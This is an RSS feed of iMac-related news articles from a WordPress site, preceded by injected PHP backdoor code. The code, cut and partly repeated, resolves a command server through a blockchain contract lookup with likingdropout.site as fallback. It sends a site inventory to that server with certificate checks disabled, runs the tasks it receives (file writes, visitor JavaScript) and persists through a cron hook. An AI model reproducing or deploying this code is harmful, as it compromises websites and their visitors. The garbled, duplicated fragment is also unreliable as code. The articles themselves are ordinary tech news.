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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); iMac – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 06 Oct 2018 00:38:55 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png iMac – Brief News https://briefnews.eu 32 32 iFixit confirms you can still repair your own iMac Pro or MacBook Pro https://briefnews.eu/ifixit-confirms-you-can-still-repair-your-own-imac-pro-or-macbook-pro/ https://briefnews.eu/ifixit-confirms-you-can-still-repair-your-own-imac-pro-or-macbook-pro/#respond Sat, 06 Oct 2018 00:38:55 +0000 http://briefnews.eu/ifixit-confirms-you-can-still-repair-your-own-imac-pro-or-macbook-pro/

Yesterday MacRumors and Motherboard reported on Apple service documents that indicated anyone replacing key parts on computers equipped with its custom T2 chip would require special diagnostic software to finish the job. While Apple has not commented on the leaks itself, the DIY repair folks at iFixit tested out the possibility by buying a brand-new 2018 MacBook Pro, pulling it apart and replacing the display. Shocker: it still worked, even without the software.

As they put it, any “secret repair kill switch hasn’t been activated — yet.” So far, it has limited approaches that limit repairs based on security to the TouchID and FaceID sensors that require specialized software, as I noted yesterday, even though people have reported trouble with the ambient light sensor after replacing iPhone displays.

While it’s possible that a future software update could change things and make it require specialized software that only official Apple Stores and authorized service centers have access to, we’re not there yet. Passing “right to repair” laws currently under consideration could be a big step to guaranteeing things stay that way.

Source: iFixit

]]> https://briefnews.eu/ifixit-confirms-you-can-still-repair-your-own-imac-pro-or-macbook-pro/feed/ 0 VMWare Fusion 11 adds support for Core i9 MacBook Pro and 18-core iMac Pro https://briefnews.eu/vmware-fusion-11-adds-support-for-core-i9-macbook-pro-and-18-core-imac-pro/ https://briefnews.eu/vmware-fusion-11-adds-support-for-core-i9-macbook-pro-and-18-core-imac-pro/#respond Wed, 26 Sep 2018 04:28:45 +0000 http://briefnews.eu/vmware-fusion-11-adds-support-for-core-i9-macbook-pro-and-18-core-imac-pro/

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A new version of virtualization software VMWare Fusion hit Macs this week. VMWare Fusion 11 adds a new application menu and support for the 18-core CPU configuration in the latest iMac Pro and the Core i9 for the 15-inch MacBook Pro.

The release appears to have been closely timed with the launch of macOS Mojave, which hit this Monday. VMWare Fusion is one of the most popular virtual-machine applications for Macs; its closest direct rival is Parallels Desktop, which also released a new version preparing for Mojave last month. Parallels has many strengths, including a leg up or two on VMWare Fusion with certain features. But VMWare Fusion does offer its own advantages over the Parallels release; among other things, it has moved to using Metal as the default graphics API on the Mac. Parallels still uses the Mac’s outdated OpenGL, though the Parallels team is working on making the transition.

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]]> https://briefnews.eu/vmware-fusion-11-adds-support-for-core-i9-macbook-pro-and-18-core-imac-pro/feed/ 0 Apple’s influential, iconic iMac turns 20 https://briefnews.eu/apples-influential-iconic-imac-turns-20/ https://briefnews.eu/apples-influential-iconic-imac-turns-20/#respond Mon, 07 May 2018 01:49:57 +0000 http://briefnews.eu/apples-influential-iconic-imac-turns-20/

There are few individual computer models that have left a lasting mark on the industry, but you can definitely put the iMac on that list. Apple introduced its signature all-in-one desktop at a special event on May 6th, 1998, and it’s safe to say the system has had a lasting impact on technology at large. At the same time, the iMac has also been a symbol of the cultural zeitgeist, including for Apple itself — it shows how the company evolved from an underdog in a Windows world to a behemoth focused more on phones than PCs. The iMac has had a long journey, but it’s worth following to see just how much the industry has changed in the past 20 years.

The original iMac

The very first iMac may seem quaint today with its 15-inch CRT screen, tiny 4GB hard drive and decidedly late ’90s translucent styilng, but at the time it was a minor revolution in… well, just about everything. This was a departure from the beige boxes that defined most PC designs, and it was designed from the ground up for internet access at a time when the feature was still far from ubiquitous — that’s primarily where the “i” in iMac comes from. It also helped usher in the USB era. While USB was certainly available before the iMac, Apple’s complete shift away from legacy ports (combined with Microsoft’s improved USB support in Windows 98) prompted many companies to build USB peripherals and jumpstart adoption of the universal connector.

And it’s no secret that the iMac was instrumental to Apple’s comeback. Its commercial success revitalized Apple after years of business blunders, giving it the financial runway to expand as well as a clear focus: Apple would be focused on ease of use, simplicity and design from here on out. It was also instrumental to the career of legendary designer Jonathan Ive — it was the project that cemented his reputation for minimalist yet memorable products.

iMac G4: Apple gets experimental

New iMac Introduced at Macworld

Apple faced a difficult problem as the original iMac line reached its twilight. How do you follow up on an iconic computer when its defining feature, the tube display, was outdated? For Apple, it was simple: design something even more radical than its predecessor. The 2002-era iMac G4 took its inspiration from a sunflower, putting its then-impressive 15-inch LCD (later models would jump to 17 and 20 inches) on a neck that let the display tilt and swivel while preserving Apple’s all-in-one design.

It wasn’t as big a hit as its predecessor, as high prices and the trailing performance of PowerPC chips did it no favors. However, it was central to Apple’s digital hub strategy (where the Mac was the center of your media creation and playback) and helped spur technological concepts like digital cameras and home movie editing. It also showed that Ive wasn’t afraid to mess with success — one of his defining traits over the past 20 years.

The iMac G5 and Apple’s leap to Intel

Apple Unveils Software To Run Windows XP

The iPod had barely been around for a few months when the iMac G4 arrived, but it had become the star of the show by 2005 — and Apple wanted a computer that was a perfect complement to its popular music player. The result was the iMac G5, a 17- and 20-inch all-in-one that borrowed more than a few pages from the iPod’s design book even as it broke some ground of its own. It brought a much-needed speed boost (Apple finally had a reasonably fast 64-bit CPU in a home machine), but it also introduced the distinctive floating-computer-on-a-stand design that Apple uses for iMacs to this day. Later models also helped popularize desktop webcams and served as Apple’s first experiments with media hubs through its Front Row interface. If you owned an early Apple TV, you could trace its roots back to this machine.

However, many will know this design for another reason: the iMac was Apple’s first production Intel-based machine. The very first x86-based Mac was virtually unchanged on the outside from the iMac G5, but it was both faster and could do things unheard of for any Mac, such as dual-booting Windows. That Apple led its processor switch with the iMac said a lot about both the flexibility of its design (it wasn’t nearly as exotic as the circular iMac G4) its symbolic importance in the lineup.

The aluminum iMac: Apple turns serious

Apple Introduces New Versions Of The iMac Computer And iLife Applications

Up until 2007, iMac designs always had a certain amount of whimsy to them that indicated they were for home users. The aluminum iMac changed all that. Its metal-and-glass design was not only reminiscent of the original iPhone, but decidedly more sober, as if it was destined for your office. Its feature set reflected that, too. Apart from larger 20- and 24-inch screens, the aluminum iMac touted dual-core processors and options for a wireless mouse and keyboard. While the iMac was no longer turning the industry on its ear, it had clearly matured a lot in the space of a decade.

Later aluminum models were refinements of the 2007 version’s basic formula, but they mirrored the evolution of both the wider tech industry and the iMac’s role — it was becoming an entry-level pro machine in a period where laptops and smartphones were taking over. The unibody iMac (from 2009 onward) touted a 27-inch display and quad-core processors, with later models helping to introduce Intel’s high-speed Thunderbolt port. The 2012 iMac, meanwhile, symbolized the death of the optical drive as people turned to cloud services and streaming video instead of burning backup discs and watching DVDs. It was far from the centerpiece of Apple’s lineup by that point, but ther was no question that it showed where Apple was going.

The iMac as workstation: Retina Display and iMac Pro

Apple iMac Pro

By 2014, the computing landscape was much, much different than in 1998. Smartphones and tablets were putting a serious dent in PC sales, and the iMac was being asked to fulfill roles that would have been unimaginable for an all-in-one in the ’90s, such as pro-level media editing. Apple’s solution? Lean into the iMac’s growing importance as a workhorse. The iMac with Retina Display packed one of the first 5K screens on the market, and with an aggressive price to boot. Many stand-alone 5K displays at the time cost more than the entire iMac, making it a bargain for creatives who valued resolution over a modular design.

And if you need evidence of exactly how much the iMac and Apple have changed in 20 years, you need only look at the iMac Pro. It’s arguably a stopgap system for customers waiting for the redesigned Mac Pro, but it represents an almost complete inversion of Apple’s strategy. Where the 1998 system was built to be accessible for computing rookies, the iMac Pro is strictly for demanding work between its Xeon workstation processor, pro-level graphics, SSD storage and its eye-watering $ 4,999 starting price. It’s far from a “computer for the rest of us,” as Apple used to say, but that’s also because computers themselves are no longer the all-purpose devices they used to be.

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Some high-end professional Mac users are frustrated, and they have been for years.

The current Mac Pro received a lukewarm reception when it began shipping in 2013, and it has been preserved in amber ever since. The MacBook Pro went with few substantial updates for a long period of time after 2012. And when Apple overhauled its video editing software and released Final Cut Pro X in 2011, many editors were turned off by its compromises.

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]]> https://briefnews.eu/imac-pro-review-hard-to-upgrade-but-holy-jony-ive-its-fast/feed/ 0 Apple’s iMac Pro may have hands-free Siri voice control https://briefnews.eu/apples-imac-pro-may-have-hands-free-siri-voice-control/ https://briefnews.eu/apples-imac-pro-may-have-hands-free-siri-voice-control/#respond Sun, 19 Nov 2017 07:33:21 +0000 http://briefnews.eu/apples-imac-pro-may-have-hands-free-siri-voice-control/

Those rumors of Apple using custom ARM chips for more features inside Macs? They’re true… and you might not have to wait long to witness it in action. Jonathan Levin has combed through BridgeOS code that should accompany the iMac Pro, and it looks as if Apple will be using a cut-down version of the iPhone 7’s A10 Fusion chip as a co-processor. While its full functionality isn’t clear yet, developer Steve Troughton-Smith notes that the A10 appears to handle macOS’ boot and security processes, such as passing firmware to the main Xeon processor and managing media copy protection. More importantly, Guilherme Rambo has found references to “hey Siri” support — as with Cortana on Windows 10, you might not have to click an icon or invoke a keyboard shortcut just to ask about the weather.

It’s possible that the A10 chip is always running, which would represent a break from the custom T1 chip driving the Touch Bar in some recent MacBook Pro models. That would line up with leaks which had custom ARM chips handling macOS’ Power Nap feature, which fetches data while the system is sleeping. The iMac Pro wouldn’t have to spool up its power-hungry Xeon processor just to grab your email. And of course, that could be very important for “hey Siri” commands, which could theoretically run even if the Mac is dormant.

The findings don’t necessarily mean that the iMac or macOS will be more restrictive than before. You may not know exactly what the A10 does until the iMac Pro ships, which is expected before the end of 2017. However, this does show that Apple is putting its mobile experience to use in the computer realm, even if it’s just to save power and processing overhead. And the iMac Pro may be a good testbed for this functionality. As Troughton-Smith points out, Apple could gauge how the companion A10 works without the bulk of users “freaking out.” You could get a more refined experience if and when the A10 finds its way to mainstream Macs — particularly MacBooks, where the chip could let Siri and Power Nap run without significantly affecting your battery life.

Via: 9to5Mac

Source: Jonathan Levin, Steve Troughton-Smith (Twitter), Guilherme Rambo (Twitter)

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]]> https://briefnews.eu/apples-imac-pro-may-have-hands-free-siri-voice-control/feed/ 0 Intel’s 18-core Xeon CPU may be destined for the iMac Pro https://briefnews.eu/intels-18-core-xeon-cpu-may-be-destined-for-the-imac-pro/ https://briefnews.eu/intels-18-core-xeon-cpu-may-be-destined-for-the-imac-pro/#respond Tue, 29 Aug 2017 16:18:33 +0000 http://briefnews.eu/intels-18-core-xeon-cpu-may-be-destined-for-the-imac-pro/

There’s been a lot of speculation about which Xeon chips the upcoming iMac Pro will use, but Intel may have just revealed the answer. During IFA, it unveiled the Xeon W-series lineup aimed at high-end, single-CPU, mainstream graphics workstations. Intel didn’t say that the iMac pro would use the chip, but the stars line up: The flagship Xeon W has 18 cores and is due by Q4 2017, and Apple promised that iMac Pros with up to 18 cores would arrive this December.

After the 18-core model, you’re looking at Xeon Ws with 14, 10, 8 and fewer cores. The top-of-the-line chip can be boosted to 4.3 GHz if you’ve got the cooling, while the lesser models can go up to 4.5 GHz. The new CPUs also support up to 512GB of DDR4-2666 ECC RAM and have 48 PCI Express 3.0 lanes, giving you plenty of storage and port options. All told, performance is 38 percent better than the current Xeon E5 generation, Intel says.

To be clear, these processors are aimed at video, graphics and VR content creators, not gamers. For those folks, there’s the crazy Core-i9 lineup, which blows current single-CPU Xeons out of the water. The $ 1,000 10-core model is faster than all but two Xeon CPUs, according to PassMark, so the $ 2,000 18-core model should handily eclipse them all when it’s released later this year. That performance no doubt grabbed the attention of graphics and video types, so Intel likely didn’t want to wait too long to unveil new Xeon chips lest they be cannibalized.

Intel hasn’t said yet which PCs are supporting the Xeon Ws, but with IFA upon us, you might see announcements from Dell, HP, Lenovo and other workstation makers. Apple could also give us some more iMac Pro information during its next iPhone event, rumored to be on September 12th. There’s no pricing for the 18-core model yet, but the 10-core W-2155 is $ 1,440, about 50 percent more than the 10-core i9 CPU.

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Apple announced a host of updates and new products at its yearly WWDC developers conference earlier month including a new iPad Pro and HomePod speaker.

Upgrades to the MacBook and iMac ranges were also revealed with these popular machines getting faster processors and improved performance.

However, even if you’re not in the market for new laptop or desktop computer your Mac can still get some new features.

During its keynote, Apple announced a major update to its macOS operating system called High Sierra.

This update brings a swathe of improvements including new core technologies which Apple says will help improve performance.

Other updates include speed improvements to the Safari web browser and an overhaul of the Photos app which is now more accurate and easier to use

macOS Sierra won’t officially launch until the autumn but Mac owners can give it a try right now for free via Apple’s Beta Programme.

YOU CAN SIGN UP TO APPLE’S BETA PROGRAMME HERE

Fancy using macOS High Sierra? Here’s some Public Beta Download Tips

• This is beta software that is still in development, which means some applications and services may not work as expected.

• Apple recommends installing macOS High Sierra beta on a secondary Mac.

• Make a back up of your Mac before installing.

• There will be periodic updates to the macOS High Sierra beta, and you will be able to upgrade to the final version of macOS High Sierra when it ships this autumn.

• Use your Mac as you normally would, and if you encounter any issues, use the built-in Feedback Assistant app to report them.

• Visit the macOS Beta Program guide for the latest information about the High Sierra beta and how to submit feedback.

New features in macOS High Sierra

macOS High Sierra builds on everything your Mac can do today, while paving the way for what’s to come. 

New technologies at the heart of the system make it more reliable, capable, and responsive—and lay the foundation for future innovations on the Mac. Key updates include:

New Core Technologies

macOS High Sierra includes foundational technologies that have been enhanced to make your Mac more powerful. 

It starts with Apple File System, a fast and efficient new file system that manages your content behind the scenes. 

HEVC lets you create and enjoy the highest resolution of video while reducing required space by as much as 40 percent. New WebKit technologies make Safari faster, more efficient, and more capable.

 And Metal 2 opens the door to next-generation games, machine learning, and virtual reality content creation on your Mac.

Photos

In macOS High Sierra, Photos puts the tools you need to browse, organise, and edit your photos right at your fingertips. 

Memories surfaces new personal themes from your library, including pets, babies, and weddings. People is more accurate and easier to use. 

And new Live Photos effects create looping videos that you can share. 

Photos is faster and more responsive. And with support for third-party photo services, you can do even more with your photos—right in the Photos app.

App Refinements

As you use macOS High Sierra, you’ll discover improvements throughout the system and apps. 

Top Hits in Mail makes it easier to find the message you’re looking for, while Safari gains new website settings, including Autoplay Blocking to stop media with audio from automatically playing in the browser and Intelligent Tracking Prevention, which uses machine learning to identify and remove the tracking data that advertisers employ to follow users’ web activity.

macOS High Sierra will be available to all Mac users as a free update this fall and runs on any Mac that is capable of running Sierra. 

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The cylindrical Mac Pro was a gorgeous feat of engineering, but that beautiful design also made it tough to update the thing with new components regularly. No wonder Apple essentially ditched it — with the new iMac Pro, the company squeezed seriously high-end components into a very familar, very flexible body. The company has gone as far as calling it the “most powerful Mac” ever, which seems at odds with the iMac Pro’s classic look. After all, aside from the space gray finish, the iMac Pro looks a lot like a machine that would set you back less than $ 2,000.

That is, until you see it in person. You won’t be able to get an iMac Pro of your own until this December, but Apple had one setup waaaaay in the back corner of its WWDC demo area. Unfortunately, the spot where Apple installed the machine was almost as dark as the iMac Pro was. We couldn’t touch it — or even touch the table it was on, for that matter — but the sleek, dusky look on display does wonders to make the iMac Pro seem distinct from the rest of Apple’s desktops. Go on, take a closer look:

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]]> https://briefnews.eu/the-imac-pro-combines-a-familiar-look-with-a-dark-twist/feed/ 0 Additional hardware rumors emerge about Apple’s upcoming iMac refresh https://briefnews.eu/additional-hardware-rumors-emerge-about-apples-upcoming-imac-refresh/ https://briefnews.eu/additional-hardware-rumors-emerge-about-apples-upcoming-imac-refresh/#respond Thu, 06 Apr 2017 22:18:41 +0000 http://briefnews.eu/additional-hardware-rumors-emerge-about-apples-upcoming-imac-refresh/ Apple created quite a stir this week with a set of announcements regarding its line of MacOS hardware, which has remained mired in the past with a dearth of updates and innovation and a core group of users that has become increasingly jaded. The company announced that a new modular Mac Pro would arrive at some point and that new “Pro” iMac machines will arrive sometime later in 2017.

That was clearly welcome news for Mac fans, in spite of the lack of details. Now, some additional and unconfirmed information leaked out that might go a fair distance toward making anyone who has been waiting for better Mac hardware a little happier, MacRumors reports.

More: Apple announces big plans to revamp the iMac in the not-so-near future

First up is the iMac, Apple’s all-in-one (AIO) desktop line that has been popular among creative professionals. Pike’s Universum offers up some rumors that, if they turn out to be true, would indicate that Apple is serious about making the iMac a more powerful and professionally oriented machine.

According to blog, the new iMacs will arrive in October and will sport some significantly improved components. Intel Xeon E3 processors will be on tap, along with 16GB to 64GB of ECC RAM that would represent a significant boost of the current models’ 8GB to 32GB of non-ECC memory. Thunderbolt 3 ports will also be on tap, which would make sense given Apple’s commitment to the new spec in its MacBook Pro.

Other changes include faster MVMe SSD storage and improved AMD graphics. iMacs use both of those today, but apparently, Apple will crank up the performance with the new machines. A new keyboard will be on hand, and it’s possible that Apple will offer up a keyboard option utilizing its Touch Bar and Touch ID technologies.

Pike’s Universum didn’t stop there, however. According to the website, MacOS 10.13 will move away from the current mountain- and park-themed naming convention and the company will also beef up the Mac mini both in terms of performance and sheer size. Finally, Apple might be planning a new 8K monitor to go along with the Mac Pro redesign that Apple also announced.

As always, this information should be taken as a rumor. However, none of this information would be particularly surprising given Apple’s stated recommitment to Mac hardware. If it’s accurate, then Mac users will definitely have some enhanced performance to salivate over.

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]]> https://briefnews.eu/additional-hardware-rumors-emerge-about-apples-upcoming-imac-refresh/feed/ 0 iMac 2017 Specs And Rumors: 4.8GHz Core i7-7700 Kaby Lake Chip, AMD Radeon Polaris Graphics And VR Capability https://briefnews.eu/imac-2017-specs-and-rumors-4-8ghz-core-i7-7700-kaby-lake-chip-amd-radeon-polaris-graphics-and-vr-capability/ https://briefnews.eu/imac-2017-specs-and-rumors-4-8ghz-core-i7-7700-kaby-lake-chip-amd-radeon-polaris-graphics-and-vr-capability/#respond Mon, 30 Jan 2017 01:50:01 +0000 http://briefnews.eu/imac-2017-specs-and-rumors-4-8ghz-core-i7-7700-kaby-lake-chip-amd-radeon-polaris-graphics-and-vr-capability/ The Apple iMac 2017 is rumored to feature formidable specs.

The 2017 iMac is arguably one of Apple’s most anticipated products. After being neglected for years, the iMac line is pretty much in dire need of an update. Fortunately, if Apple CEO Tim Cook’s words are any indication, it appears that it would only be a matter of time before the Cupertino-based tech giant focuses on its homegrown, iconic, all-in-one desktop computer once more.

Apple rolled out the last iMac update way back in 2015 when the tech giant introduced a Retina screen to smaller desktop models while equipping its larger units with Skylake chips. Since then, the iMac appeared to have been largely forgotten, with the all-in-one computer seemingly following the path of the now-discontinued 11-inch MacBook Air. According to a MacWorld report, however, Apple CEO Tim Cook personally stated that the future of the tech firm’s desktop computer is not as grim as what many would like to believe.

“The desktop is very strategic for us. It’s unique compared to the notebook because you can pack a lot more performance on a desktop — the largest screens, the most memory and storage, a greater variety of I/O, and fastest performance. So there are many different reasons why desktops are really important, and in some cases critical, to people.

“The current generation iMac is the best desktop we have ever made and its beautiful Retina 5K display is the best desktop display in the world. Some folks in the media have raised the question about whether we’re committed to desktops. If there’s any doubt about that with our teams, let me be very clear: we have great desktops in our roadmap. Nobody should worry about that.”

The iMac 2017 is speculated for a March or October release date.
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Thus, while the Apple CEO only mentioned the iMac once, it appears that the all-in-one would not be retired anytime soon. With this in mind, several encouraging rumors have emerged about the device, such as a possible release date sometime this 2017. After all, with the MacBook Pro line being given a refresh for 2016, it only seems fitting that Apple’s iconic all-in-one desktop computer would be following soon after.

Rumors of the iMac 2017’s release date point to the device seeing an early to late 2017 release date. Speculations about the device’s reveal are conflicting, with some stating that the iMac 2017 would be launched in March and others stating that the all-in-one desktop would be revealed sometime in October instead. Regardless of the actual date, it appears that after all the wait, the 2017 iMac would definitively be coming, according to a PC Advisor report.

Rumors about the device’s internals have been very encouraging so far, with recent speculations stating that the iMac 2017 would be equipped with 4.2GHz Intel Core i7-7700 Kaby Lake chip. What is particularly interesting is that the Core i7-7700 chip rumored for the 2017 iMac is capable of overclocking to 4.8GHz. Such specs equate to some serious processing power, and numerous Apple fans have remarked that the rumored chip would actually be enough to provide a suitable VR experience.

The iMac 2017 is rumored to be powerful enough to run virtual reality applications smoothly.
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One thing that iMacs have struggled against lately is raw power and graphical capability. While Apple’s current all-in-one desktops are beautifully designed, they simply do not have enough muscle to compete with powerhouses from Windows. With the 2017 iMac, however, this appears to be changing, with rumors stating that the machine’s Core i7-7700 chip would be paired with AMD Polaris 10 chips, which would, in turn, drastically improve the performance of the all-in-one desktop.

The boost to a powerful Core i7 Kaby Lake processor and AMD Polaris graphics appear to be targeting a very specific niche – virtual reality. VR might not be taking off as fast as its innovators have hoped, but the technology is slowly being integrated very well into the market. Apple has always been a tech firm that blazes the trail for new technological innovations, but unfortunately, regarding virtual reality, the Cupertino-based tech giant is severely lagging behind. With this in mind, it would appear that the iMac 2017 might be Apple’s response to the gauntlet thrown by Apple’s most intense competitors in the all-in-one desktop computing industry, as well as the emerging VR market itself.

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